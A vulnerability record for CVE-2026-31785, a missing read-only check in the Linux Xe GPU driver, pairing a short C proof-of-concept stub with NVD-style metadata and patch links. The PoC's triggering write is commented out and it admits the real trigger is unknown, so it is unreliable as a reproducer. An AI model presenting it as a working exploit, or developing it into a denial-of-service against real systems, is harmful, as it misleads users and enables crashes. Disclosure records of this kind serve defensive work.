CVE-2026-31785

#include <fcntl.h> #include <sys/mman.h> #include <stdio.h> #include <unistd.h> /* * PoC for CVE-2026-31785 * Trigger a write to a read-only VMA in the Xe driver. * Compile: gcc -o poc poc.c */ int main() { int fd; void *map; const char *device = "/dev/dri/renderD128"; // Open the Xe GPU device fd = open(device, O_RDWR); if (fd < 0) { perror("open"); return 1; } // Map memory as Read-Only (PROT_READ) map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, fd, 0); if (map == MAP_FAILED) { perror("mmap"); close(fd); return 1; } printf("Attempting to write to read-only mapping...\n"); // Attempt to write to trigger the bug in the page fault handler // This should cause a kernel panic or Oops due to missing check // *(int*)map = 0xdeadbeef; // Note: Actual trigger mechanism depends on specific driver // interaction and memory management setup. munmap(map, 4096); close(fd); return 0; }

{"cve": {"id": "CVE-2026-31785", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:42.033", "lastModified": "2026-05-12T19:26:31.830", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/xe/xe_pagefault: Disallow writes to read-only VMAs\n\nThe page fault handler should reject write/atomic access to read only\nVMAs. Add code to handle this in xe_pagefault_service after the VMA\nlookup.\n\nv2:\n- Apply max line length (Matthew)\n\n(cherry picked from commit 714ee6754ac5fa3dc078856a196a6b124cd797a0)"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19.1", "versionEndExcluding": "6.19.12", "matchCriteriaId": "6A3292BD-59D7-4901-9701-EF89FB933C8E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:-:*:*:*:*:*:*", "matchCriteriaId": "35C8A871-4971-433E-A046-FC9F7B7D190A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/6d192b4f2d644d15d9a9f1d33dab05af936f6540", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b656f040ed4ed2074dfb78072745b41d44368be0", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}